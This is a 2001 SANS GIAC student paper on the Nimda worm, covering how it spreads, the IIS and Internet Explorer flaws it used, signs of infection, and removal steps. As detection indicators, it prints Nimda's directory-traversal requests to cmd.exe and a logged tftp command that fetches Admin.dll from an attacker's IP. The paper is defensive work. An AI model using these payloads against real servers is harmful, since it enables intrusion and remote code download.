GIAC
CERTIFICATIONS

Global Information Assurance Certification Paper

Copyright SANS Institute
Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

Interested in learning more?

Check out the list of upcoming events offering
"Security Essentials: Network, Endpoint, and Cloud (Security 401)"
at http://www.giac.org/registration/gsec

THE LEGEND OF
NIMDA

By: Kevin G. Frey
GSEC Practical Report (v.1.2f)
September 25, 2001

© SANS Institute 2000 - 2005, Author retains full rights.

© SANS Institute 2000 - 2005 Author retains full rights.

TABLE OF CONTENTS

© SANS Institute 2000 - 2005, Author retains full rights.

© SANS Institute 2000 - 2005 Author retains full rights.

Introduction:

On September 18, 2001, another little unfriendly virus was introduced to the Information Technology (IT) world. The virus has been given the name W32.Nimda.A@mm ("Nimda" for short). Nimda is a mass-mailing worm that utilizes several methods to spread itself to multiple servers and personal computers. Nimda not only infects PCs running Windows 95, Windows 98, Windows ME and Windows 2000, but also servers running Windows 2000. Nimda caused massive traffic across the Internet resulting in slowdowns as it attacked computers and created a ripple effect. The virus invaded computers using e-mail clients and containing Microsoft's Web Server, Internet Information Server (IIS). The purpose of Nimda appears to be the traffic slowdown itself. In other words, Nimda does not appear to destroy files or cause damage to the system except for the considerable amount of time that may be lost to the slowing or loss of traffic through denial-of-service.

Nimda will arrive at an unprotected IIS server (a server that does not have all of the current patches applied) as a Web page containing some JavaScript code that executes when the page is opened. Upon execution, the code will then be propagated to all of the other Web pages on the server. On any of these pages, the JavaScript causes an e-mail or newsgroup browser to open in a zero-size window, which will automatically transmit the virus toward other computers at random, IP addresses. Nimda systematically explores other known IIS vulnerabilities and, if successful, causes an e-mail to be sent to all addresses listed in the Outlook address book. The e-mail includes an executable attachment (named readme.exe) that, if opened, results in further propagation.

On September 12, 2001, a group of hackers, known as the “Dispatchers”, claimed they had already begun network operations against information infrastructure components such as routers. The Dispatchers stated they were targeting the communications and finance infrastructures. They also predicted that they would be prepared for increased operations on or about Tuesday, September 18, 2001. On September 17, 2001, the National Infrastructure Protection Center (NIPC) expected an increase in Distributed Denial of Service (DDoS) attacks. An NIPC Advisory 01-020, "Increased Cyber Awareness" dated September 14, 2001, warned system administrators and PC users of threatened vigilante hacking.[1]

A Description of the W32.Nimda.A@mm Virus:

The Nimda name is derived from "admin" spelled backwards. The word “admin” represents the system administrator role within a corporation.

The lifecycle of Nimda can be divided into four categories:

1) File infection

Once Nimda is on the system, it scans the hard drive for various .EXE files. The files are then infected when they are placed inside the Nimda body as a resource, causing the file to be 'assimilated' within Nimda. The infection is then transmitted to additional PCs when users share the .EXE files.

© SANS Institute 2000 - 2005 Author retains full rights.

2) Mass mailer
Nimda searches for e-mail addresses from the user's e-mail system. This is accomplished through MAPI (Messaging Application Program Interface), a Microsoft Windows program interface that enables you to send e-mail from within a Windows application and attach the document you are working on to the e-mail note. Applications that take advantage of MAPI include word processors, spreadsheets, and graphics applications.[2] Nimda also locates additional e-mail addresses by searching through local HTML files. Nimda will then sends an e-mail to each address. These e-mails contain the readme.exe attachment, which may be executed automatically on the new systems.

3) Web worm
Nimda scans the Internet, trying to locate web servers. Once an IIS server is found, the worm will try to infect the server through various known IIS security vulnerabilities. If Nimda succeeds, it will modify random web pages on the site. The end result of this modification is that any "web surfers" accessing the site are subject to being infected by the worm.

4) LAN propagation
Once Nimda has reached a PC or web server, it will search for shared files on the LAN. Once a shared file has been located, the worm will drop a hidden file called RICHED20.DLL to the directory, which has a .DOC or .EML file. When another user tries to open one of the infected files from the directory, Word or WordPad for the .DOC files and Outlook for the .EML files will execute the RICHED20.DLL file causing an infection to occur on the PC or server.[3]

Nimda utilizes the Unicode Web Traversal exploit that is present within Microsoft IIS 4.0 and 5.0. Microsoft previously released a patch in Security Bulletin MS00-057 that resolved this IIS vulnerability. Users who have applied this patch are already protected against the IIS vulnerability and do not need to take additional precautions.

Due to an error in IIS 4.0 and 5.0, a particular type of URL can be used to access files and folders located on the same logical drive that hosts the web folders. By having this access capability, a malicious user can potentially gain additional privileges on the machine similar to a local user. These permissions would enable the malicious user to add, change or delete data, run code already on the server, or upload new code to the server and run it.

The request would be processed under the security context of the IUSR_machinename account, which is the anonymous user account for IIS. The IUSR_machinename account has the same privileges as untrusted users. The account is a member of the 'Everyone' and 'Users' groups, and, as a result, the ability of the malicious user to access files outside the web folders increases. By default, these groups have execute permissions to most operating system commands and would give the malicious user the ability to cause widespread damage. However, administrators who have proactively removed the 'Everyone' and 'Users' groups from permissions on the

© SANS Institute 2000 - 2005 Author retains full rights.

server or who are hosting the web folders on a different drive from the operating system, are less susceptible to the vulnerability.[4]

Below is an example from one user's account of the requests that Nimda is sending:

GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../
..%c1%1c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir[5]

When the worm arrives by e-mail, the worm uses a MIME (Multi-Purpose Internet Mail Extensions) exploit allowing the virus to be executed just by reading or previewing the file. A MIME is an extension of the original Internet e-mail protocol that lets people use the protocol to exchange different kinds of data files on the Internet: audio, video, images, application programs, and other kinds, as well as the ASCII handled in the original protocol, the Simple Mail Transport Protocol (SMTP).[2] Since HTML e-mails are simply web pages, Internet Explorer will open the binary attachments in a way that is appropriate for their specified MIME type. However, within Internet Explorer, there is a defect with the type of processing that takes place for certain unusual MIME types. For example, if an attacker created an HTML e-mail containing an executable attachment, then modified the MIME header information to specify that the attachment was one of the unusual MIME types that Internet Explorer handles incorrectly, Internet Explorer would launch the attachment automatically when it rendered the e-mail.

An attacker could use the MIME vulnerability in two manners. The attacker could host an infected HTML e-mail on a web site, and once another user to visits the site, the script on the web page would open the mail and initiate the executable. In the second situation, the attacker could send the HTML mail directly to the unsuspecting user. With either situation, the .EXE attachment would be limited only by the user's permissions on the system.[6]

Who is at Risk:

The Nimda virus is most dangerous for home PCs. More than likely, home computer users have not applied proper patches or do not use anti-virus software. A coalition of government security officials and anti-virus software industry experts released a warning to home computer users the day after the Nimda release to take the Nimda virus seriously.

Vincent Weafer, a senior director of Symantec's security response center, stated that the Nimda virus is in the wild and home users are going to be the primary mechanism for the e-mail spread of this virus. Weafer also stated that the initial problem of blocking the virus is under control and now it is time for recovery period, which can take weeks and even months. Almost 700 customers reported incidents of infections to Symantec on Tuesday, September 18, evenly split between businesses and home users.[7]

© SANS Institute 2000 - 2005 Author retains full rights.

As the spread of the Nimda worm continues to slow down in its damage, security experts marveled at its dramatic impact in the short period of time. Several big-name companies, including Microsoft Corp., General Electric Corp. and Yahoo Inc., spent the 24 hours following the Nimda attack, beating back the worm and its fallout. Once a companies' web server becomes infected with the worm, any PC user viewing the web page is put at risk of catching the virus.[8]

A representative of network-protection service Counterpane Internet Security said that several of its customers' servers had to be shut down to clean them of the Nimda worm. Security services firm Neohapsis also confirmed that a Fortune 500 client's network had been extensively infested with copies of the worm. Antivirus firm Trend Micro upped the number of infections reported through its World Virus tracking Center to 26,000 from 15,000 late on September 18.[7]

Possible Damage:

Nimda will greatly reduce the performance of systems due to the large scale e-mailings. In addition, multiple files on the system will be modified by the virus itself when Nimda replaces existing files with itself. Symantec has rated Nimda as a class 4 virus overall and has assessed the characteristics of Nimda as follows:

Wild:	High
Damage:	Medium
Distribution:	High[9]

Once a computer has been exposed to Nimda, it is possible that an unauthorized user has remotely accessed the system. With this in mind, it is almost impossible to guarantee the integrity of the system. The unauthorized user could have made unnoticed changes to the system, including but not limited to the following:

- Stealing or changing passwords or password files
- Installing remote-connectivity host software, also known as backdoors
- Installing keystroke logging software
- Configuring of firewall rules
- Stealing of credit card numbers, banking information, personal data, and so on
- Deletion or modification of files
- Sending of inappropriate or even incriminating material from a customer's e-mail account
- Modifying access rights on user accounts or files
- Deleting information from log files to hide such activities[9]

© SANS Institute 2000 - 2005 Author retains full rights.

Indications Your System Has Been Compromised:

To determine if your system has been compromised, look for the following:

- a root.exe file (indicates a compromise by Code Red II or sadmind/IIS worms making the system vulnerable to the Nimda worm)
- an Admin.dll file in the root directory of c:\, d:\, or e:\ (Note that the file name Admin.dll may be legitimately installed by IIS in other directories.)
- unexpected .eml or .nws files in numerous directories
- the presence of this string: /c+tftp%20-i%20x.x.x.x%20GET%20Admin.dll%20d:\Admin.dll 200 in the IIS logs, where "x.x.x.x" is the IP address of the attacking system. (Note that only the "200" result code indicates success of this command.) [10]

These identifiers go along with the indications of an infection listed within the SANS material. According to SANS, a PC may begin to run slower if infected, the disk drive may make unusual sounds, free space on the computer is limited, and file sizes appear to differ become larger.

In addition, the scanning activity of the Nimda worm produces the following log entries for any web server listing on port 80/tcp:

```
GET /scripts/root.exe?/c+dir
GET /MSADC/root.exe?/c+dir
GET /c/winnt/system32/cmd.exe?/c+dir
GET /d/winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir
GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir
GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir
```

Note: The first four entries in these sample logs denote attempts to connect to the backdoor left by Code Red II, while the remaining log entries are examples of exploit attempts for the Unicode Web Traversal vulnerability.[10]

Corrective Actions:

An administrator and user should always be proactive to try and prevent their systems from being infected by a virus. The administrators should inform users not to open .EXE attachments they receive in e-mails without confirming the sender and the appropriateness of the message. In addition, administrators and home users should apply patches to their systems to keep them

© SANS Institute 2000 - 2005 Author retains full rights.

updated to assist with protection against viruses. Administers should also utilize anti-virus software to protect against current and future viruses. If however a system does become infected with the Nimda virus, the following lists two resources and actions that can be taken to remedy the situation.

First, Symantec Security Response has posted a tool to remove infections caused by Nimda. In order to run this tool, the user must have administrative rights on Windows NT, Windows 2000, or Windows XP.

1. Download the Fixnimda.com file from
http://securityresponse.symantec.com/avcenter/Fixnimda.com
2. Close all running programs before running the tool.
3. If you are running Windows Me, then disable System Restore.
4. Double-click the 'Fixnimda.com' file to start the removal tool. (If you are on a network, you must apply the removal tool on all computers, including the servers.)
5. Click 'Start' to begin the process, and then allow the tool to run.
6. Symantec recommends running the tool until the system is reported as clean.
7. If necessary, Microsoft patches should be downloaded and applied to vulnerable systems. These patches can be found at the following web sites:
    - http://www.microsoft.com/technet/security/bulletin/ms00-078.asp
    - http://www.microsoft.com/technet/security/bulletin/MS01-020.asp
    - http://www.microsoft.com/technet/security/bulletin/MS01-044.asp
8. If you are on a network or you have a full-time connection to the Internet, it is advised that you disconnect the computer from the network and the Internet. In addition, you should disable or password protect file sharing before you reconnect computers to the network or to the Internet. Because Nimda spreads by using shared folders, Symantec recommends sharing with read-only rights at a maximum, to ensure that the worm does not re-infect the computer after it has been removed.
9. Restart the computer.
10. Run the 'Fixnimda.com' tool again to insure that the system is clean.
11. Install the necessary Microsoft patches to update your system to protect against the known vulnerabilities.
12. Reconnect the clean system to the network or re-enable your full-time Internet connection.
13. If you are running Windows Me, then re-enable System Restore.
14. Run LiveUpdate to make sure that you are using the most current virus definitions.[9]

Upon completion, the Symantec tool will indicate if the computer was infected by Nimda. In the event that the worm was removed, the program displays the following results:

- The total number of the scanned files.
- The number of deleted files.
- The number of repaired files.
- The number of viral processes terminated.

A second removal tool is provided from F-Secure. The tool can be found at:

© SANS Institute 2000 - 2005 Author retains full rights.

http://www.europe.f-secure.com/support/top-issues/f-nimda.shtml.

F-Nimda is a utility that disinfects a computer infected with Nimda virus-worm and eliminates security holes that Nimda creates in a system. The utility is supplied either as a self-extracting archive or as a signed JAR package. The utility can run on Windows NT/2000 workstations and servers, Windows 95, 98 and ME workstations. On NT/2000 workstations and servers the utility requires local administrator's rights.

As it was with the Symantec tool, F-Secure recommends the user to disconnect the system from the network while restoring the system. After the F-Nimda utility completes removal, the system needs to be rebooted. If the Nimda infection reached the network, F-Secure recommends that all workstations and servers be disinfected and then re-enable the network.

When ran, the F-Nimda utility does the following:

1. Kills all Nimda worm processes.
2. Deletes all worm .EXE and .DLL files dropped to a system by Nimda.
3. Deletes all .EMS and .NWS files dropped to a system by Nimda.
4. Deletes all .TMP files that Nimda created in temporary folders.
5. Modifies the SYSTEM.INI file to remove worm's autostart string.
6. Removes 'Guest' account from 'Administrators' group.
7. Disinfects all HTM/HTML and ASP files affected by the worm.
8. Removes all open shares from a system (except Admin shares).
9. Runs F-Prot for DOS scanner to disinfect infected EXE files.
10. Prompts for system reboot.[11]

IIS Alternatives:

Gartner recommends that enterprises that experienced both the Code Red and Nimda viruses consider alternatives to IIS. A possible alternative is to move their current Web applications to Web server software developed by other vendors, such as iPlanet and Apache. Although these alternative Web servers have needed some security patches, they have a better security record than IIS and do not experience the frequency of virus and worm attacks. Gartner remains concerned that viruses and worms will continue to attack IIS until Microsoft has released a completely rewritten, thoroughly and publicly tested, new release of IIS. Gartner believes that this rewriting will not occur before year-end 2002 (0.8 probability).[12]

© SANS Institute 2000 - 2005 Author retains full rights.

References:

1. "Potential Distributed Denial of Service (DDoS) Attacks." 17 September 2001. http://www.nipc.gov/warnings/advisories/2001/01-021.htm (19 September 2001)

2. "MAPI", "MIME."
http://www.whatis.com/ (24 September 2001)

3. "F-Secure Nimda Information Center."
http://www.europe.f-secure.com/nimda/nimda.shtml (21 September 2001)

4. Microsoft Security Bulletin (MS00-078) (17 October 2000)
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms00-078.asp
(21 September 2001)

5. "New (More) Annoying Microsoft Worm Hits Net."
http://slashdot.org/article.pl?sid=01/09/18/151203 (21 September 2001)

6. Microsoft Security Bulletin (MS01-020) (29 March 2001)
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-020.asp
(21 September 2001)

7. Lemos, Robert. "Home users face biggest risk from Nimda." (19 September 2001)
http://www.news.cnet.com/news/0-1003-200-7228511.html

8. Sullivan, Bob. "Nimda Worm Slows But Hits High Profile Sites." (20 September 2001)
http://www.msnbc.com/news/630583.asp?0cm=c10&cp1=1

9. "Security Response - W32.Nimda.A@mm." (24 September 2001).
http://www.sarc.com/avcenter/venc/data/pf/w32.nimda.a@mm.html

10. Advisory CA-2001-26 Nimda Worm." (21 September 2001)
http://www.cert.org/advisories/CA-2001-26.html (24 September 2001)

11. "F-Secure Nimda Information Center."
http://www.europe.f-secure.com/nimda/nimda.shtml (22 September 2001)

12. "Nimda Worm Shows You Can't Always Patch Fast Enough." (19 September 2001)
www3.gartner.com/DisplayDocument?doc_cd=101034 (22 September 2001)

© SANS Institute 2000 - 2005 Author retains full rights.